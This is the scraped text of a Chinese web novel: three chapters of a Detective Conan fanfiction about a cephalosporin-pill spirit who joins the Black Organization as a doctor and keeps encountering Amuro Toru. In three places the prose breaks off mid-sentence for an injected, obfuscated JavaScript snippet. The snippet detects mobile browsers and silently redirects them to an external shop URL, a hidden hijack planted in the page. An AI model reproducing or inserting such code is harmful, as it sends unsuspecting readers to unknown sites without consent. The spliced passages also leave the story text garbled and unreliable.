《头孢冷傲退真酒》 1. 一颗头孢 他觉得自己要死了。 巷子深处,中年男人倒在逐渐扩大的血泊中央,身子抽搐,内心满是不甘。 可即便听到警笛后拼命用手肘撑起上半身、朝着巷口爬去,身中数枪的他也知道自己没有时间了。 但不行…绝不能让资料落到警方手上……该死的,上头说的干部怎么还不来交接? 不是说已经到了吗! 对任务失败的恐惧盖过一切。中年人此刻只想爬得快点、再快一点,避开警察的搜索,将资料交给该死的交接人,而不是被抓走。 不然等待他的可就不止死掉那么简单了。 “…嗯,贝尔摩德?是我……” 思绪定格,冷淡的男声混着雨丝飘进耳朵。中年人蓦地怔住,下一秒直接朝声音传来的方向爬出残影! 爬爬爬爬爬爬——! 他发了疯似地爬行,被子|弹洞穿的胸口和腿在地上拖出歪曲的血痕,有石子嵌入血肉也不管不顾。 拐过巷口,一道撑着白伞的人影倏然出现,漫步姿态从容得与周遭格格不入,看得中年人眸中希冀迸射,嘴里发出嗬嗬的嘶吼: “快、快带我……走…!” 不会错的。对方说了贝尔摩德这个名字,这是大人物才会有的酒名代号,那此人必定是来交接的干部! ——救他!! 在中年男人的期待下,白色之人将伞柄在掌心转了半圈,这才停住脚步。 雨丝斜织,小巷泥泞不堪。面前的青年却穿着一套纯白风衣,款式类似白大褂,衣领处漏出像是无菌服的衣物,身形瘦削却不虚弱,反而透着股韧竹般的力道。 对方在他看去时抬起伞,露出一张年轻却苍白的脸,就连发色也是惨淡的白,仿佛被黑暗所不容。 最引人注目的是那双眼睛,冷静、专注,如同两枚浸在冰水里的黑曜石,扫过来时割开皮肉,让他胸腔内的一切龌龊无处遁形。 ——像一把用来丈量生命的手术刀,随时都会给予他一场利落的终结。 这、这就是他的交接人?虽然年轻,可看起来就神秘莫测,不愧是干部! 鼻息间飘来无糖衣药片的清苦气味,思维发散下,中年人忽然感觉心脏跳得有些快,意识也在药味的缠绕中如病菌般化开,却听一阵衣料窸窣。 他立即回神,就见青年垂眸锁定了他的眼睛: “你想让我救你?” 没等他说话,白发青年便单手撩起衣摆,在确保衣服没有沾上泥水后才蹲下身。 可就在中年人以为对方会救他,或是让他交出U盘时,却见对方从怀中摸出一个纸包,打开是白色粉末,再看他时语气冷漠: “可生死之争向来如此,你已经没有机会了。” 中年人:? 似乎怕他没听清,白发青年嘴角勾起一个僵硬的弧度,一字一顿道: “我的意思是,你该死了。” 中年人赫然回神,“等等、我是来——呃!” 药粉均匀地洒在伤口处。白发青年起身,仿佛不是将不知名粉末撒到别人伤口上,而是日行一善般,堪称诚挚地双手合十: “这是我身上最后一包安眠药,因为你看上去要死了,所以我用它为你送行。你放心,安眠药纯度很高,数到0即可拥有婴儿般的睡眠。” “那么下辈子见,不知好坏的细胞君。” 他顿了顿,补充道:“0。” 中年人:…@#¥%?! 什么叫细胞?他是人啊!不,不对,为什么要害他,他们明明是一伙——! 【叮,您的任务对象已死,任务失败。】 【已失败任务:233次,共计接收任务:234次,世界平衡进度:10%。】 “还是10%么……看来他并不是坏细胞,在这个世界杀菌真难。” 将包安眠药的油纸细细叠好,白发青年眼见中年人紧急去世,跟着一歪头,还没等再说什么,耳边无情的电子音突兀变作富有人味儿的肮脏高音: 【嗷啊啊啊啊啊抱歉宿主我来了!任务如何…怎么又死了!】 系统当场爆哭:【抱歉,是我通知晚了,不然他不会死的!】 白发青年将被细雨沾湿的风衣拍了拍,看向离他几步之遥的巷口,目光悠远:【无碍,我已经习惯了。】 系统:【……嘤!】 你这么说它更愧疚了啊! 把血泊中的人拉起,白发青年贴心地将男人搬到不会挡路的墙边,又将头扶正。 在看到从男人口袋里滑出的U盘时,他想了想,还是将之拿起收好,眉眼低垂:【我并非责怪你,只是可惜连好细胞的名字都不知道。】 系统一下子支棱了,【没事没事,U盘里或许有他被杀害的证据和基础信息,我们可以等晚上看。】 它说着叹了口气,又开始谴责自己:【都怪我被黑方侵蚀得太虚弱,连目标人物的基础信息都加载不全……】 青年摇摇头,打断系统:【不怪你。明明在我的世界,从白血球到血小板都会自觉写上编号,结果这个世界就没有,只能说这个世界的细胞觉悟太低。】 系统:【…】有没有可能,它就是这个世界的世界意识? 不要光明正大地蛐蛐别人啊! 系统欲言又止,可它没说出来,二十年了,它早就放弃纠正此妖精的逻辑。 ——是的,妖精。 站在巷子里的白发青年并非人类,而是头孢妖精。 在一粒米也能成神的国度,尽管药物成精也情有可原,可头孢却是另一个世界的奇迹。 机体感冒时被口服使用的头孢,杀死最后一个细菌后尚未擦掉脸上的血,就被一束金光带走,至此功德圆满立地成精,掉进了名为【黑化柯学界】的小世界。 而【黑化柯学界】的世界意识正愁没人帮它消灭病毒一样增殖的黑方、让世界恢复原来的样子,天上就掉了这么个相性极高的杀毒软件。 世界意识当即化作系统,与头孢签订了契约,希望头孢削弱过强的黑方,恢复红黑平衡,按照头孢的理解就是杀菌。 只是契约者目前为止战况嘻人,234次战绩愣是只有第一次成功完成任务,这还是任务对象自己白给的。 但因为头孢是在它的看管下,从小长起,它看头孢就像看孙子一样,充满了慈爱: 【好了,事不宜迟。贝尔摩德不是说,今天找人接你去基地的医疗部报道?继续留在这里可不好哦。】 头孢也清楚此地不宜久留,他最后瞥了眼路边的尸体,微微颔首: “嗯。” 很遗憾,这个出血量,就算他有心救治,救护来得及时,对方也活不下去。毕竟他随身携带的药只能杀不能救,最近的医院距此却有十分钟的车程。 一切都结束了。 而留在这里,被出警的细胞发现会洗不清,他不希望浪费时间在解释上。 过往的经验告诉他,此世的细胞大多缺乏耐心,总在他阐述完自己的观点之前就强行打断,完全不像小阵那样又耐心又有礼貌。 避开他们吧。 撑着伞迈出暗巷,头孢并未选择会被人发现行踪的大路,而是抄小道赶往约定地点。 那里离这处巷弄不远。可错综复杂的石板路将区域分割,雨水也又湿又滑,头孢索性在拖长的时间里思考起自己的任务。 除了第一次降落时他砸在幼驯染的脸上,将平衡进度条往前推了10%,此后直至警校毕业、博士毕业,他也没再遇到能够左右进度的关键细胞。 可就在一周前,一次偶然机会,头孢救下了名为莎朗·温亚德的外国细胞,没想到对方竟是系统口中病原体组织的高层干部。 面对干部的邀请,头孢欣然应约,摇身一变成了对方介绍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149327|196426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的医生,今天就要正式进入组织、上岗工作了。 “只是贝尔摩德单说波本会来接我,却没告诉我波本长什么样子。” 抬腕看了眼手表,时针已指向正午十二点。不需要进食的妖精站到约定的废弃报刊亭前,四周却并无一人,唯有雨水敲打铁皮顶棚的单调回响。 系统开始忐忑:【不会是贝尔摩德察觉到你是派来的公安卧底,故意设局,打算把你抓起来吧?】 “不会。”白发青年语气平稳,“她在邀请我之前应该做过背调,毕竟那是你和上司口中很强大的恐怖组织。况且……” 在系统期待他的下文时,头孢左手探入白大褂内侧,指尖逐一拂过藏起的一排针管,眼神顷刻犀利: “我身上还有100支头孢注射液,23支麻醉剂,足够解决大队杂菌。就算不够,也可以给菌来一场拳拳到细胞壁的肃清。” 为了潜入病原体,他已经耐心蛰伏了二十年。 “所以就算今天来接头的波本不是人形,而是长着一万根鞭毛、像个卡车一样撞过来的大型杂菌,我也有信心让对方有来无回。” 系统尖叫:【你不要有这种奇怪的觉悟啊!俺们世界的人类外形都很正常,最多个别人的头发五彩缤纷了点,不要戴着有色眼镜看人!】 头孢疑惑:“我哪有眼镜?” 系统:【啊啊啊!!】 在系统的尖锐爆鸣里,头孢将身上的装备清点好,准备离开这里看看究竟怎么回事。 系统的担心不多余。无故放他鸽子,且没有任何提前通知,也不告诉他接应者的特征,或许对方真发现了什么。 如此思索,头孢一边走,一边垂眸倾听周围的动静,本就近乎为零的呼吸也放缓至无,直到雨水的淅沥都逐渐停歇—— 突然之间,有风。 有风自耳畔吹入。风声,雨声……脚步声。 脚步声越来越近,细微的震动由砖石率先知晓,整个世界在水洼的倒影中支离破碎。 雨点重新变大的那一刻,头孢听着直奔他而来的踩水声,拿着针筒的右手指节蓦然收拢,却在分辨出只有一人时滞住。 病原体细胞?杀掉蓝领带的真凶?另一种势力?还是无辜者? 电光火石间,他已做出选择。 针筒重新滑入内侧的暗袋,同一时间,他任凭白伞坠地,双手就此解放,旋即眸光一厉! 黑影袭来,头孢侧身迎上半步,左臂横拦在来人的腰际,顺势一拉,将那股冲劲引向自己。 来者顿时失去平衡,还未稳住身形,另一只手便如铁钳般自下而上探出,扣住那只试图挥动的手腕,拇指死死抵住腕骨—— 一拧、一压。 标准的反关节擒拿,一气呵成。 左手封住来犯者的嘴,指节卡死下颌,杜绝对方任何呼喊或咬噬的可能,最后将人掼到墙上,头孢这才松了口气,看清了那一缕挣脱兜帽束缚、掠过眼前的发丝—— 灿如曜日,匆匆闯入他的视野。 那颜色过于耀眼,与阴雨天格格不入的反差让头孢愣了不到一秒,被制住的金发男人就爆发出惊人的反抗力道! “唔……!” 指缝间挤出压抑的喘息,男人奋力挣动,让头孢不得不加力,膝盖死死顶住对方的腿弯。 可下一秒,反扑的力道潮水般退去。 掌心下的身体突然变得虚软,只有胸腔在剧烈起伏。 被堵在口中的挣扎还想脱离控制,可本人却已偃旗息鼓。后颈处裸|露的蜜色肌肤从头孢的角度看,更是以肉眼可见的速度泛起潮红,像螃蟹被蒸熟了。 头孢怔住。 这是发烧了?只是淋了不到半分钟的雨? 正想着,沉寂已久的系统突然喜极而泣:【宿主宿主!检测到关键人物!】 【是与那个组织有关的关键人物啊!宿主!】 2. 两颗头孢 【叮!恭喜新人物解锁——】 【姓名:安室透(无辜阳光的咖啡店员工,侦探,??)危险评级:A+;状态:寻人中(黑西装、蓝色领带的中年男子,??)】 【紧急任务发布:□□安室透】 【任务描述:苍穹上高悬的一定是太阳吗?请不惜一切手段□□安室透,让安室透记住你。】 【任务奖励:商城积分x1000,系统阵营识别能力。】 【失败惩罚:世界平衡进度永久性丢失15%。】 电子音播完,系统喜极而泣: 【二十年,整整二十年啊!除了那个凶恶银毛和贝尔摩德,我就没见过别的关键人物!】 头孢认真反驳:【小阵一点都不凶,他只是工作认真,还有那个□□是什么?】 顿了顿,他决定表达自己的担忧:【你连任务都显示不全了?】 系统噎住:【是任务自己没显示全!】 这真不是它的锅啊! 【不过你说得对。】停顿片刻,系统声音疲惫:【一直抵抗侵蚀太耗能,我得休息一下,希望等我醒来你已经完成任务了。】 最好一觉醒来进度100%,它真的不想跟侵蚀作斗争了! 听系统没了声音,习惯对方神出鬼没的头孢垂眸,看向那头近在迟尺的金发,缺乏表情的脸上破天荒掠过一丝凝重。 这次的任务显然与平时不同。一旦失败,世界平衡度就会永久失去15%,相当于身体即便痊愈,也会留下不可逆的损伤。 这对使命便是杀灭杂菌、让机体恢复健康的他来说,是难以接受的结局,所以他必须弄清楚这个□□是什么。 收回思绪,头孢的注意力集中在金发男人身上,发现对方的确与描述相符。 发色阳光醒目,周身被咖啡的香醇气息包裹,后脑勺都比别的细胞圆润,再加上淋雨就发烧的体质,怎么看都是个脆弱无辜好细胞。 任务提及对方要找两个细胞。其中的‘西装蓝领带’与被杀掉的细胞吻合,可‘蓝领带’的死亡并未提升世界平衡度,证明对方是好细胞,那这两个好细胞应该是同伴。 再结合[与组织有关才是关键人物]的经验,‘蓝领带’的死肯定与组织有关,那作为同伴的安室透也极有可能被组织盯上。 综上所述—— □□的意思,应该是【保护】。 危险度A+是与组织有牵扯,那他的任务就是用一切手段保护安室透,让对方记住自己么……嗯,这好办。 那么接下来就解开误会,再把对方送到安全地点吧。 打定主意,头孢凑到男人耳边,声音压低,“抱歉,我不是有意弄痛你,只是没想到你这么容易抓,我为我的失礼道歉。” 这话一出口,身下人顿时停止了挣扎,喉间溢出呼噜噜的气音。 鲜少与人打交道,可头孢知道被顺毛的猫咪也会发出一样的声音,顿时安心,乘胜追击: “我们之间有误会。我数到三,如果你答应不会攻击我,我就放开你,如何?听懂了点头。” 金发男人小幅度点了头。 头孢彻底放心,“好,那我开始数了。” “三。” 动作与声音同步,钳制男人的手臂骤然一松。 提前两秒到来的自由让金发男人一怔。可下一秒,就在头孢准备交涉的瞬间——那人猛地转身,一记直拳直冲他面门而来! 头孢:! 这细胞怎么偷袭! 被吓了一跳,可妖精表情死的脸很难做出大动作,故而在金发男人的视角里,一身雪白的怪人面对突如其来的袭击,仅是眼底掠过讶异。 然后轻易反剪了他尚且发软的手腕,将他重新咚回了墙上! “唔!”疼痛让他本能闷哼出声。 “嘘——” 温热气息拂过耳廓,白发青年重新贴近,低声嘱咐,“别害怕,我没有恶意。” 他一顿,似乎想起什么,改口道:“虽然我也并非善类,但只要你乖一点,我保证不会动你。” 差点忘了,他还要加入病原体组织,得给身份打个补丁。 以及看金毛细胞脸红的样子,明显还在发烧,袭击自己大抵也是受惊后的本能,身为医生要对病人有无限耐心才是。 安室透:? 安室透几乎要气笑了。 不分青红皂白把他按在墙上、给他下药,一而再再而三嘲讽他很好抓,如今还用哄小孩的语气让他‘乖·一·点’? 行。很好。 等处理完交易和那个关系户,他绝对、绝对要让这家伙付出代价! 安室透,本名降谷零,代号波本。此次前来一是为取得敌对帮派的资料,二是替千面魔女贝尔摩德接一个人。 他欠那女人一份人情。所以当对方深夜来电,请他去接‘一个有趣的小朋友’时,安室透并未拒绝。 接应点离兼职的咖啡厅很近,离回收U盘的位置也不过三条街。 而且他确实好奇,能让那个精明女人不惜耗费人情也要接,还不告诉他特征、据说‘一眼就能看出来’的家伙,究竟是何方神圣—— 然后就没有然后了。 刚拐进小巷就被袭击。白发青年力道大得像只猩猩,一只手捂住他的嘴,另一只手将他死死压在墙上。 安室透尝试反抗,可鼻息间却飘入一丝冷香。紧接着,他的心脏开始不受控制地狂跳,四肢发软,连站都站不稳,还是借着墙壁与男人身体的桎梏才没滑到地上。 ——是药。 并非单纯的肌肉松弛剂,倒像是催|情药物,可似乎又没有最主要的催|情功能……这家伙是谁派来的? 咽下想把对方打个半死的冲动,安室透声音放软了些,“你想要什么?” 下三滥手段首先排除条子,而他与贝尔摩德的交易外人无从知晓,那就只剩涉及到U盘的敌对帮派,以及……他自己惹上的小尾巴。 体内的燥热与绵软仍如附骨之疽,让他的天平逐渐倒向最后一种可能。 最近几天,他的确有被莫名其妙的家伙窥视。因为实在难抓且没感到恶意,安室透准备任务结束再料理对方,结果人直接跑到了他眼前? 至于为什么不是帮派的人……哈,谁家敌人抓了他会说‘我是好人’这种令人发笑的台词? 见对方肯跟他交流,头孢眉头舒展:“我想知道关于你的事,越多越好,就从你要去哪、做什么开始好了。” 他得先确认金毛细胞是不是要去找同伴,以此验证对方的身份。 安室透无声冷笑,心说想打听他的人多了去了,这人果然是跟踪狂,嘴上编起瞎话: “我和朋友约好陪他去医院检查身体,要去前面的巷子见面。” “原来如此。” 头孢不疑有他,心道果然是死细胞的朋友。他想了想,语气平静地宣布: “那很遗憾,前面似乎发生了命案。警察在附近查,看样子凶手说不定还徘徊在四周,你不能去。” 万一组织的人在附近就太危险了。 安室透瞳孔一缩,“前面?” “是,前面三条街的位置。” 安室透的心沉了下去。 按理说,他的交接人会提前五分钟联系他,现在已经过了时间,他的手机却没动静,再加上命案发生的方位…… 啧,关系户没接到,交接人也凶多吉少么。 不行。他目前四肢无力,无法与这个白毛大猩猩抗衡,得先服个软,再找机会联系贝尔摩德换个接应地点,然后找人挽回一下任务。 他并未问对方怎么知道发生了命案,只是试探道: “既然前面有尸体,我不能去,那我们继续僵持在这里也不安全吧。要不要……去更私密的地方聊?” 说话间,他动了动被白发青年卡住的双腿。动作轻微,可大腿内侧的布料不可避免地磨蹭过对方的腿,皮肉隔着湿透的西裤传递出异常温热,让头孢恍然。 果然……金毛细胞明显更烧了,必须尽快给对方治疗! 于是头孢点头:“好,那你有地方推荐么?” 将金毛细胞送去安全地带,打个退烧针,看看任务能不能完成。哦对,还要给贝尔摩德发消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149328|196426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他得让波本换个见面地点,免得对方还在原地傻等,被出警的细胞抓了。 为这人与冷淡外表不符的急色挑眉,安室透掩去眸中算计,笑着温驯无害: “有倒是有,不过我们先去前面那条街的咖啡厅如何?” 他抛出诱饵,语气自然,“我在那里兼职,休息室有干净衣物和毛巾,我们可以先换身衣服,再去我家里慢慢聊。” 到那时,他有无数种方法撬开这人的嘴,甚至能让这不知死活的跟踪狂‘硬’着进来,‘硬’着出去……不过他得先把对方下的药搞到手。 感受着身体里依旧翻腾的‘药效’,安室透笑得愈发甜蜜。 他试过那么多乱七八糟的药物,抗药性一流,今天却被催|情药摆了一道。他绝对会把药效十倍百倍地奉还,让对方体验一下什么叫求生不得求死不能。 ——这就是波本,睚眦必报。 不清楚对方的恐怖想法,头孢只觉金毛细胞终于配合了,痛快答应: “可以。那我现在放开你,但你要承诺,不能再攻击我。” “好。”安室透选择成交。 头孢松开手,见金发男人只是揉了揉被掐红的手腕,并无进攻动作,便欣慰地捡起两把伞,用消毒湿巾擦干净,递给对方黑伞,又给贝尔摩德发去邮件: [让波本去波洛咖啡厅等我,我这边遇到了一点突发情况,需要处理。] 希望波本别傻到被路过的警察抓走。 安室透接过伞,借着伞面与身体的遮掩盲打邮件: [让那个人来波洛咖啡厅,告诉他无论遇到什么都别轻举妄动,我这边要解决点麻烦。——B] 但愿那个关系户别蠢到自投罗网。虽然他不在乎那人的死活,但贝尔摩德的人情总不能还一半重新还。 他想了想,又给另一个号码发了条邮件,才不动声色缩回手,抬头却见白发青年已转身朝巷口走去,毫不在意地将整个后背暴露给他。 被轻视的恼怒混合着药效的燥热轰然上涌,让安室透那对紫灰色的瞳孔在阴影下暗沉几分。 他咬咬牙,迈步跟上—— “…喂。” “嗯?” 头孢回头。金发深肤的男人举着黑伞,停在原地,见他看来略显懊恼地瞥向湿漉漉的砖墙,声音低得几乎听不见: “走慢点。” 可恶,你自己下的药什么效果心里没数吗! 跟在罪魁祸首后面,安室透心里将人凌迟八百遍。 直至拐过街角,感受着体力逐渐恢复,心跳趋于平稳,安室透这才定下心,下一秒紫灰色的眼蓦地一颤。 不远处,名为【波洛】的咖啡厅挂上了暂停营业的木牌。 门口的红蓝警灯无声闪动,将警车与潮湿的地面映得光怪陆离。透过玻璃门,安室透能清晰看见至少三名警察的背影,以及正在和警察交谈的同事——榎本梓的侧脸。 一息之间,计划成型。 他忽然上前一步,拉住白发青年撑伞的手臂,在对方看来时粲然一笑: “竟然有警察呢,真巧啊。” “哦,”头孢顺着他的目光望去,脚步慢了半拍,“竟然有警察么。” 他那双无高光的眼稍稍抬高一些,像在评估什么,又在感受到手臂上的力道后欣慰点头: “你运气不错。” 如果能将脆弱的金毛细胞交给执法者保护,就能确保对方不会脑子一热,跑去凶案现场送人头,也是不错的选择。 安室透心中嘲讽更甚,面上笑得愈发甜蜜灿烂,像淋了蜂蜜的毒苹果: “是啊,运气真不错。那我们现在…?” 差不多该露出马脚了吧?跟踪狂遇到警察多少都会有反应,他几乎能想象对方下一秒就找借口离开—— “那事不宜迟,我们进去吧。” 安室透:? 白发青年说着,不仅没有挣开他,反而将那他的手臂反手扣住,力道温和却不容逃脱。 他朝安室透点点头,语气郑重: “走,我把你交给警察。” 安室透:?????? 3. 三颗头孢 五分钟后。 阴雨天的咖啡厅内,雨水的气息与咖啡香气纠缠。目暮警官坐在靠门的餐桌前,目光于金发男人与白发青年之间来回扫视。 “姓名?” “安室透。” “青岛纯生。” 安室透眉梢极轻微地跳了一下。 “那个,”女店员榎本梓好奇地眨眨眼,“青岛先生的名字,好像是隔壁国家的一种酒?” “对,是一种以地名命名的啤酒。”头孢颔首,“因为喜欢啤酒,所以改了这样的名字。” 一旁做记录的年轻刑警忍不住感慨,“真是随性啊,这么做之后父母不会叨叨个不停吗……” 头孢摇头,“那倒不会。” 因为系统在让他换个入乡随俗的名字时,就把唠叨额度用光了。至于为什么与故乡的啤酒重名,纯粹是因为系统说取个酒名能提高遇到组织的概率。 想起沉睡的系统,妖精担心地蹙起眉,但还是认真回答:“我没有父母。” 只有系统。 年轻刑警手中的笔‘啪嗒’掉在桌上:“…请、请原谅我的失礼!!” “咳咳!”瞥了眼下属,目暮警官公事公办道:“抱歉提起伤心事。但还请两位说明一下——上午十一点五十到十二点十分,你们在哪里?做了什么?衣服又是怎么回事?” 他视线扫过二人已换过的衣物。他们进店时浑身湿透,显然在雨中待了不短的时间。 “我先说吧。” 看了白发青年一眼,安室透善解人意地接话道: “十一点五十分我刚好下班,就跟梓小姐请假去前面的街口见朋友,一起去医院。可还没到约定地点就听到警笛声,接着遇到了这位…青岛纯生君。” 他模糊了谁陪谁去医院的细节,念出那个拗口的名字,便看向榎本梓。 榎本梓用力点头,“是的,安室先生是我们店的员工,他身体一直不太好。” 病弱服务生波本露出恰到好处的无奈笑容,“至于衣服…其实是我发烧烧得头晕,滑了一跤,青岛先生好心扶我,结果两人都弄湿了。” 目暮警官点头,转向白发青年:“那青岛先生呢?你当时在巷子里做什么?” “我么……” 头孢在思考。 他不能说自己刚从凶案现场离开,也不能透露组织的存在。更重要的是,他得保护好金毛细胞,不让对方卷入危险。 “我在等人。”他选择透露部分真相,“但待得无聊,再加上附近发生了案件,就想去看看,结果碰见了安室先生。” 目暮警官眼神一凛,“你怎么知道发生了案件?单凭警笛声?” 咖啡厅内的视线瞬间聚焦。安室透眯起眼,就见白发青年慢条斯理地将手臂搭在桌子上,双手交叠撑住下巴,嗓音低沉: “不。是因为我能嗅到犯罪和生病的味道。” 他顿了顿,纯黑的瞳孔里毫无波澜,“看到安室君时,我知道他不舒服,再加上嗅到前面案件的气息,担心他往前走会有危险,所以我让他找个安全的地方换衣服,顺便给他治病。” 目暮警官干笑两声:“哈哈,青岛先生真会开玩笑……” 嗅到犯罪和生病的味道?这又不是警犬。 安室透微笑:“是的,还要多谢青岛君呢^-^。” 担心他有危险?药是从你手上被动飘出来的对吧! 见对方咬死无辜人士的身份,安室透转头状若无意地问道: “目暮警官,您说的案子受害者有什么特征么?我是兼职侦探,多少可以帮忙找找线索,况且我人在这里工作……” 他脸上的忧虑毫不作伪,紫灰色的眼在暖光下显得格外真诚。 目暮警官不自觉松了口风,“喔…受害人是中年男性,黑西装蓝领带,身上有多处枪伤,现场也有挣扎和爬行的痕迹。” “还有就是,”他停顿片刻,压低声音,“他的伤口处有白色粉末,但具体成分还要送去鉴识科分析。” “枪伤和…药么,”安室透眼中灵光一闪,余光瞥向白发青年,“我以为,这附近的治安在东京还算不错。” “我们也觉得很蹊跷,”胖警官皱眉,“更奇怪的是,死者身上没有任何身份证明,钱包和手机都不见了……” 头孢的手隔着口袋摸向那枚U盘。 钱包手机不是他拿的,U盘倒是,可他不打算交给警方。 组织的情报交上去只会打草惊蛇,而交给看上去脸色阴沉、在为同伴伤心的金毛细胞就更不行,万一对方被杂菌伤害了怎么办? 而且说到杂菌……波本怎么还没来?不会真被免疫细胞抓了吧? 他下意识瞥向门口。雨小了很多,天气依旧阴沉。 安室透将对方的小动作尽收眼底,心中冷笑。 呵,看来这家伙面对警察也不是无动于衷,这样坐立不安是想走? 可惜一时半刻走不了,而他早就联系外面的人调查案件情况了,现在只剩那个关系户没碰面。 但那家伙,该不会被警察抓了吧? 转念一想,心说抓了也算对方实力不济,安室透看向身旁眼神放空的白发青年,紫灰色与深沉的黑一触即分,便转向胖警官,身子前倾: “目暮警官,那我和青岛先生还需要做正式的笔录吗?” 目暮警官正要开口,手机响了。 “喂?什么……抓到了?!”他的声音骤然拔高,“好,我们马上过去!” 挂断电话,他转向二人:“案件有新进展。我们在案发现场抓住了一名形迹可疑的男子,你们暂时留在这里,稍后……” “警官,我能一起去么?”安室透突然开口,面色凝重,“毕竟我和青岛先生当时在附近,也许能提供线索。” 见保护对象要跑,头孢也站起来,“我也去。” 万一那个可疑男子就是杀害死细胞的凶手,金毛细胞被怒火冲昏了头脑怎么办?他必须在场保护对方。 笃定对方会跟上来,安室透心中笑意更甚。 目暮警官犹豫片刻,点头:“好吧,但必须跟在警员后面,保持距离。” 再次来到后巷,雨已经完全停了,空气依旧潮湿阴冷。 头孢远远就见两名警察按着一个浑身泥泞的男人。那人约莫三十多岁,脸上有道狰狞的疤,眼神凶狠,嘴里骂骂咧咧。 “警部,就是他!” 年轻巡查小跑过来报告,“我们在附近巡逻时发现他鬼鬼祟祟地在巷口张望,一见我们就跑,抓住后从他身上搜出了一把带血的刀!” “我知道了,”目暮警官走上前,“你叫什么?和死者什么关系?” 地上的男人抬眼,眼睛里布满血丝,声音嘶哑:“哈哈,是我杀的!那混蛋害死我弟弟,我找了他三个月!他该死——!” “冷静点!你说死者害死你弟弟,有证据吗?” “…你要证据?哈哈哈哈……我弟弟被他逼着给客人舔鞋,最后跳楼了!警察不管,我只能自己动手!三个月……我终于有机会……” 他语速极快,逻辑清晰,尽管最后只是重复着‘复仇’‘该死’之类的字眼,可在场的警察却交换了一个眼神,几乎认定对方是返回现场的凶手,毕竟谁会平白无故认罪? 安室透却眯起了眼睛。 ——太完整了。 整个逻辑链条完整得不可思议,可一个有胆子返回现场的杀人犯,绝不该是这种疯疯癫癫的精神状态。 况且,作为组织的情报专家,他对微表情的了解炉火纯青。这人说到弟弟跳楼时,眼底没有悲痛,只有走程序一样的急切。 就像……被人推出来认下罪名、好让案子迅速结案的替罪羊。 得出这一结论,安室透忽而看向旁边的白发青年。 他之前将青岛纯生认作跟踪狂的主要原因,就是对方没有下杀手,还用了那种药,话里话外也是‘我对你很感兴趣’的模样。 可如果对方是刻意引导他,就像这个凶手一样让人先入为主…… “小心!” “滚开!” 思考间,被按在地上的男人猛地暴起!他挣脱一名警员,从腰带里抽出折叠刀,直直刺向最近的目暮警官! 一切发生得太快。警员们来不及拔枪,目暮警部也只来得及后退半步,安室透正要上前—— “唰!” 一道白影却比他更快切入二人之间。 白发青年没去挡刀,而是侧身一记手刀劈在男人持刀的手腕上。 折叠刀脱手飞出,男人惨叫出声。未等他反应,头孢就扣住他另一只手臂,顺势一拧,将人重新按倒在地,膝盖抵住后腰。 整个过程行云流水,不超过三秒。 警员们一拥而上,给男人戴上手铐。目暮十三惊魂未定,扭头看向白发青年:“青岛先生,你……” “他手臂内侧有针孔,今天内应该注射过兴奋剂或是其他药物。” 头孢后撤一步,将金发男人彻底挡在身后,隔绝了地上凶手的怨毒视线,语气一板一眼: “情绪不稳定可能与此有关,建议查血。以及不客气,维护治安与免疫细胞是我的义务。” 安室透:“。”细胞? 被制服的男人还在嘶吼。为了不让对方再出现什么过激行为,几名警察忙将人拖向警车,吼叫声也逐渐远去。 目暮警官抹了把汗,苦笑道:“最近的罪犯真是越来越猖狂了……还是要多谢你,青岛先生。你学过格斗?” “一点防身术。”头孢简短回答,视线移向那辆载着凶手的警车。 他说能嗅到犯罪的味道,当然也能闻到无罪的味道。 那个细胞分明没有犯罪,周身也并无同胞被害死的悲痛气息……与组织有关的案子果然不简单,对方或许是组织拉出来替罪的细胞也说不定。 现场调查结束。警方从嫌疑人身上搜出疑似凶器的刀,加上对方主动认罪、袭警等行为,这起命案多半会以‘复仇杀人’结案。 目暮警官向两人道谢后带队离开。巷子重归寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149329|196426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静,只剩地上的血迹昭示着曾发生过什么。 安室透看向白发青年,语气里带着后怕:“刚刚真是太危险了,青岛先生没事吧?” “没事。”头孢端详着他的脸色,“倒是你,烧退了吗?” 安室透笑笑,心中更加警惕,“好多了,可能是吓出了一身汗吧。说起来,您之前说自己是医生,是在哪家医院工作?” 青岛纯生……这人的身份究竟是什么? 身手不凡、行为怪异,又出现在敏感的时间地点。如果是普通跟踪狂,为什么要卷进这种案子?而如果是帮派成员,为何一开始不对他下杀手? 而现在,这人为什么看起来是单纯在关心他—— “因为我是医生。” “……什么?” 紫灰色的眼微微睁大。安室透就见白发青年将手揣进口袋,黑曜石般的眼看过来,洞察一切一般: “你身上都是疑惑的味道。如果你在疑惑我为什么关心你——因为我是医生,帮助你是我的任务。” 他的任务是杀死杂菌,保护细胞。所以,即便没有系统的指令,像安室透这样柔弱的好细胞也在保护范围内。 